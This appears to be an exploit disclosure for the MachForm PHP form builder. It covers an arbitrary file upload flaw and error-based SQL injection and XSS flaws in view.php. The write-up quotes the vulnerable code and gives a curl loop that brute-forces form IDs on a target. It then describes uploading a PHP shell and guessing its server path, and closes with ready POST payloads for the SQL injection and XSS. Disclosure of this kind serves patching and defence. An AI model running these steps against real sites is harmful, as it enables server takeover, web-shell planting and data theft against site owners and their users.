1. Arbitrary file upload:
=========================

	foreach ($uploaded_files as $element_name){
		if(empty($form_review)){
			//move file and check for invalid file
			$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";

				do_query($query);

			//move file and check for invalid file

Exploit:

In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:

$input_array = ap_sanitize_input($_POST);
$submit_result = process_form($input_array);

These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:

seq 1 500 | xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
grep “type=\”file\”" *.out

Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept:

All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path:

http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php

In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said:

2. MySQL Injection (Error based) and XSS:
=========================================
...
...
$input_array   = ap_sanitize_input($_POST);
...
...


Exploit (POST to view.php after finding HTML elements): 

element_1=1&element_2=’&element_3=1&form_id=11&submit=1
element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar
